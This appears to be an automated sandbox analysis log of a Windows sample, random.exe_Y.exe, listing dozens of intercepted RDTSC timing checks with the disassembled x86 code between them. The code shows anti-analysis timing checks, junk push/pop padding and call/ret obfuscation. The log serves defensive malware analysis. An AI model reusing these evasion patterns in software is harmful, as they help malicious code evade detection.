Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 2C0B1A second address: 2C0B1E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 2C9025 second address: 2C902A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 2C72C2 second address: 2C72C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 2C0B1E second address: 2C0B34 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jns 00007F3458756CACh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 2C32DD second address: 2C32E1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 2C0B34 second address: 2C0B4A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3458756CB2h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 2C32E1 second address: 2C32E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 2CC025 second address: 2CC029 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 2C32E7 second address: 2C3302 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3458CA5151h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 2CC029 second address: 2CC02F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 2C3302 second address: 2C330C instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 2CC02F second address: 2CC035 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 2C330C second address: 2C3310 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 2CC035 second address: 2CC039 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 2CC039 second address: 2CC046 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edi 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 2CD0B4 second address: 2CD124 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 nop 0x00000007 push 00000000h 0x00000009 push ebx 0x0000000a call 00007F3458756CA8h 0x0000000f pop ebx 0x00000010 mov dword ptr [esp+04h], ebx 0x00000014 add dword ptr [esp+04h], 00000016h 0x0000001c inc ebx 0x0000001d push ebx 0x0000001e ret 0x0000001f pop ebx 0x00000020 ret 0x00000021 mov dword ptr [ebp+122D21BBh], edi 0x00000027 push 00000000h 0x00000029 mov di, 6718h 0x0000002d push 00000000h 0x0000002f push 00000000h 0x00000031 push edx 0x00000032 call 00007F3458756CA8h 0x00000037 pop edx 0x00000038 mov dword ptr [esp+04h], edx 0x0000003c add dword ptr [esp+04h], 0000001Bh 0x00000044 inc edx 0x00000045 push edx 0x00000046 ret 0x00000047 pop edx 0x00000048 ret 0x00000049 mov dword ptr [ebp+122D1BDEh], esi 0x0000004f pushad 0x00000050 or dword ptr [ebp+12450F47h], edx 0x00000056 mov ecx, 7754E434h 0x0000005b popad 0x0000005c push eax 0x0000005d push eax 0x0000005e push edx 0x0000005f push eax 0x00000060 push edx 0x00000061 push esi 0x00000062 pop esi 0x00000063 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 2CD124 second address: 2CD12E instructions: 0x00000000 rdtsc 0x00000002 js 00007F3458CA5146h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 2CC156 second address: 2CC17B instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007F3458756CB9h 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 2CC17B second address: 2CC186 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F3458CA5146h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 2CC186 second address: 2CC190 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F3458756CACh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 2CC190 second address: 2CC241 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 nop 0x00000007 push 00000000h 0x00000009 push esi 0x0000000a call 00007F3458CA5148h 0x0000000f pop esi 0x00000010 mov dword ptr [esp+04h], esi 0x00000014 add dword ptr [esp+04h], 00000018h 0x0000001c inc esi 0x0000001d push esi 0x0000001e ret 0x0000001f pop esi 0x00000020 ret 0x00000021 mov bx, 83D1h 0x00000025 push dword ptr fs:[00000000h] 0x0000002c mov dword ptr [ebp+122D3169h], ebx 0x00000032 mov dword ptr fs:[00000000h], esp 0x00000039 push 00000000h 0x0000003b push esi 0x0000003c call 00007F3458CA5148h 0x00000041 pop esi 0x00000042 mov dword ptr [esp+04h], esi 0x00000046 add dword ptr [esp+04h], 0000001Ah 0x0000004e inc esi 0x0000004f push esi 0x00000050 ret 0x00000051 pop esi 0x00000052 ret 0x00000053 push edi 0x00000054 sub dword ptr [ebp+122D28EEh], edx 0x0000005a pop edi 0x0000005b mov eax, dword ptr [ebp+122D02F5h] 0x00000061 call 00007F3458CA5153h 0x00000066 mov dword ptr [ebp+122D1C6Fh], eax 0x0000006c pop ebx 0x0000006d push FFFFFFFFh 0x0000006f jmp 00007F3458CA514Ah 0x00000074 push eax 0x00000075 push eax 0x00000076 push edx 0x00000077 pushad 0x00000078 jmp 00007F3458CA5151h 0x0000007d jbe 00007F3458CA5146h 0x00000083 popad 0x00000084 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 2CD345 second address: 2CD349 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 2D0117 second address: 2D0168 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F3458CA5148h 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d sub bl, FFFFFF87h 0x00000010 push 00000000h 0x00000012 push 00000000h 0x00000014 push ecx 0x00000015 call 00007F3458CA5148h 0x0000001a pop ecx 0x0000001b mov dword ptr [esp+04h], ecx 0x0000001f add dword ptr [esp+04h], 00000019h 0x00000027 inc ecx 0x00000028 push ecx 0x00000029 ret 0x0000002a pop ecx 0x0000002b ret 0x0000002c mov edi, dword ptr [ebp+122D1D96h] 0x00000032 push 00000000h 0x00000034 mov dword ptr [ebp+12459D00h], esi 0x0000003a mov dword ptr [ebp+122D3131h], edx 0x00000040 push eax 0x00000041 push edx 0x00000042 jbe 00007F3458CA514Ch 0x00000048 push eax 0x00000049 push edx 0x0000004a rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 2CF24F second address: 2CF253 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 2CF253 second address: 2CF25D instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 2CF25D second address: 2CF261 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 2CF261 second address: 2CF309 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a mov ebx, dword ptr [ebp+122D3253h] 0x00000010 push dword ptr fs:[00000000h] 0x00000017 push 00000000h 0x00000019 push edx 0x0000001a call 00007F3458CA5148h 0x0000001f pop edx 0x00000020 mov dword ptr [esp+04h], edx 0x00000024 add dword ptr [esp+04h], 0000001Ah 0x0000002c inc edx 0x0000002d push edx 0x0000002e ret 0x0000002f pop edx 0x00000030 ret 0x00000031 mov dword ptr fs:[00000000h], esp 0x00000038 push edx 0x00000039 xor bx, BA66h 0x0000003e pop edi 0x0000003f mov eax, dword ptr [ebp+122D1525h] 0x00000045 push 00000000h 0x00000047 push edi 0x00000048 call 00007F3458CA5148h 0x0000004d pop edi 0x0000004e mov dword ptr [esp+04h], edi 0x00000052 add dword ptr [esp+04h], 00000019h 0x0000005a inc edi 0x0000005b push edi 0x0000005c ret 0x0000005d pop edi 0x0000005e ret 0x0000005f mov ebx, edi 0x00000061 push FFFFFFFFh 0x00000063 mov ebx, dword ptr [ebp+122D2EC8h] 0x00000069 nop 0x0000006a jl 00007F3458CA5165h 0x00000070 jnl 00007F3458CA515Fh 0x00000076 push eax 0x00000077 pushad 0x00000078 jnp 00007F3458CA514Ch 0x0000007e push eax 0x0000007f push edx 0x00000080 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 2CF309 second address: 2CF315 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jne 00007F3458756CA6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 2CF315 second address: 2CF319 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 2D024C second address: 2D0250 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 2D0250 second address: 2D02D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F3458CA5155h 0x0000000b popad 0x0000000c mov dword ptr [esp], eax 0x0000000f push 00000000h 0x00000011 push eax 0x00000012 call 00007F3458CA5148h 0x00000017 pop eax 0x00000018 mov dword ptr [esp+04h], eax 0x0000001c add dword ptr [esp+04h], 00000018h 0x00000024 inc eax 0x00000025 push eax 0x00000026 ret 0x00000027 pop eax 0x00000028 ret 0x00000029 mov di, DC6Eh 0x0000002d mov bx, 1D15h 0x00000031 push dword ptr fs:[00000000h] 0x00000038 mov ebx, ecx 0x0000003a mov dword ptr fs:[00000000h], esp 0x00000041 mov ebx, eax 0x00000043 mov eax, dword ptr [ebp+122D0F41h] 0x00000049 jnc 00007F3458CA514Ch 0x0000004f push FFFFFFFFh 0x00000051 mov dword ptr [ebp+122D3A5Eh], edi 0x00000057 push eax 0x00000058 push eax 0x00000059 push edx 0x0000005a js 00007F3458CA514Ch 0x00000060 jng 00007F3458CA5146h 0x00000066 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 2D11BD second address: 2D122C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 jp 00007F3458756CA6h 0x0000000b pop edx 0x0000000c popad 0x0000000d mov dword ptr [esp], eax 0x00000010 mov di, dx 0x00000013 push dword ptr fs:[00000000h] 0x0000001a jmp 00007F3458756CAAh 0x0000001f mov dword ptr fs:[00000000h], esp 0x00000026 push 00000000h 0x00000028 push ebx 0x00000029 call 00007F3458756CA8h 0x0000002e pop ebx 0x0000002f mov dword ptr [esp+04h], ebx 0x00000033 add dword ptr [esp+04h], 0000001Ch 0x0000003b inc ebx 0x0000003c push ebx 0x0000003d ret 0x0000003e pop ebx 0x0000003f ret 0x00000040 mov bh, ch 0x00000042 mov eax, dword ptr [ebp+122D1249h] 0x00000048 mov edi, 19FB3DC0h 0x0000004d push FFFFFFFFh 0x0000004f mov dword ptr [ebp+12467CE0h], ecx 0x00000055 push eax 0x00000056 push eax 0x00000057 push edx 0x00000058 ja 00007F3458756CA8h 0x0000005e rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 2D122C second address: 2D1237 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnl 00007F3458CA5146h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 2D9D00 second address: 2D9D1E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F3458756CB9h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 2D9E7A second address: 2D9EA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 pushad 0x00000008 je 00007F3458CA5159h 0x0000000e jng 00007F3458CA5148h 0x00000014 push eax 0x00000015 push edx 0x00000016 push edx 0x00000017 pop edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 2DD6BF second address: 2DD6C5 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 2DD6C5 second address: 2DD6F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F3458CA5152h 0x0000000b popad 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F3458CA5157h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 272D77 second address: 272D81 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F3458756CA6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 2E1847 second address: 2E184B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 2E184B second address: 2E1851 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 2E1851 second address: 2E1857 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 2E64D0 second address: 2E64F4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3458756CB7h 0x00000007 jns 00007F3458756CA6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push esi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 2E6621 second address: 2E6634 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3458CA514Eh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 2E67A1 second address: 2E67A5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 2E6FD3 second address: 2E6FD9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 2E6FD9 second address: 2E6FE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F3458756CA6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 2EB4E2 second address: 2EB4F7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3458CA514Ch 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push esi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 2EB4F7 second address: 2EB504 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 push edi 0x0000000a pop edi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 2EB504 second address: 2EB51F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3458CA514Ch 0x00000009 popad 0x0000000a jmp 00007F3458CA514Ah 0x0000000f rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 2EB51F second address: 2EB525 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 2EB525 second address: 2EB529 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 2EB976 second address: 2EB9BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F3458756CB9h 0x0000000b popad 0x0000000c pushad 0x0000000d push edi 0x0000000e pop edi 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 pushad 0x00000012 popad 0x00000013 ja 00007F3458756CA6h 0x00000019 popad 0x0000001a popad 0x0000001b pushad 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007F3458756CB6h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 2EB9BE second address: 2EB9DD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3458CA5157h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 2EC3C5 second address: 2EC3D9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 js 00007F3458756CB8h 0x0000000c jl 00007F3458756CB2h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 2EC3D9 second address: 2EC3DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 2EC511 second address: 2EC517 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 2EC517 second address: 2EC53A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F3458CA5157h 0x0000000a popad 0x0000000b pushad 0x0000000c pushad 0x0000000d push edi 0x0000000e pop edi 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 2EC53A second address: 2EC547 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jp 00007F3458756CACh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 2EC547 second address: 2EC550 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 2A06C0 second address: 2A06C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 2F2206 second address: 2F220D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 2F10CB second address: 2F10CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 2F10CF second address: 2F10D3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 2B58F7 second address: 2B591E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3458756CADh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F3458756CB3h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 2B591E second address: 2B59A2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F3458CA514Fh 0x00000008 jmp 00007F3458CA5153h 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 nop 0x00000011 ja 00007F3458CA5165h 0x00000017 call 00007F3458CA514Fh 0x0000001c jmp 00007F3458CA514Fh 0x00000021 pop edx 0x00000022 lea eax, dword ptr [ebp+1247A6B5h] 0x00000028 push 00000000h 0x0000002a push ebx 0x0000002b call 00007F3458CA5148h 0x00000030 pop ebx 0x00000031 mov dword ptr [esp+04h], ebx 0x00000035 add dword ptr [esp+04h], 0000001Ch 0x0000003d inc ebx 0x0000003e push ebx 0x0000003f ret 0x00000040 pop ebx 0x00000041 ret 0x00000042 mov ecx, 2D322D35h 0x00000047 push eax 0x00000048 push eax 0x00000049 push edx 0x0000004a push eax 0x0000004b push edx 0x0000004c pushad 0x0000004d popad 0x0000004e rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 2B59A2 second address: 2B59A6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 2B59A6 second address: 2B59AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 2B59AC second address: 2B59B3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 2B59B3 second address: 29FBCF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push ebx 0x0000000d call 00007F3458CA5148h 0x00000012 pop ebx 0x00000013 mov dword ptr [esp+04h], ebx 0x00000017 add dword ptr [esp+04h], 00000015h 0x0000001f inc ebx 0x00000020 push ebx 0x00000021 ret 0x00000022 pop ebx 0x00000023 ret 0x00000024 call dword ptr [ebp+122D3413h] 0x0000002a pushad 0x0000002b push eax 0x0000002c jnc 00007F3458CA5146h 0x00000032 pushad 0x00000033 popad 0x00000034 pop eax 0x00000035 jnl 00007F3458CA514Eh 0x0000003b je 00007F3458CA5148h 0x00000041 pushad 0x00000042 popad 0x00000043 push esi 0x00000044 pushad 0x00000045 popad 0x00000046 jmp 00007F3458CA5158h 0x0000004b pop esi 0x0000004c popad 0x0000004d pushad 0x0000004e jnl 00007F3458CA514Ah 0x00000054 jmp 00007F3458CA5151h 0x00000059 pushad 0x0000005a jc 00007F3458CA5146h 0x00000060 push eax 0x00000061 push edx 0x00000062 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 2B5AC0 second address: 2B5AF2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F3458756CABh 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e pushad 0x0000000f jmp 00007F3458756CB9h 0x00000014 push eax 0x00000015 push edx 0x00000016 push edx 0x00000017 pop edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 2B613B second address: 2B6140 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 2B6140 second address: 2B6146 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 2B6146 second address: 2B6169 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F3458CA5157h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 2B6169 second address: 2B616D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 2B616D second address: 2B6173 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
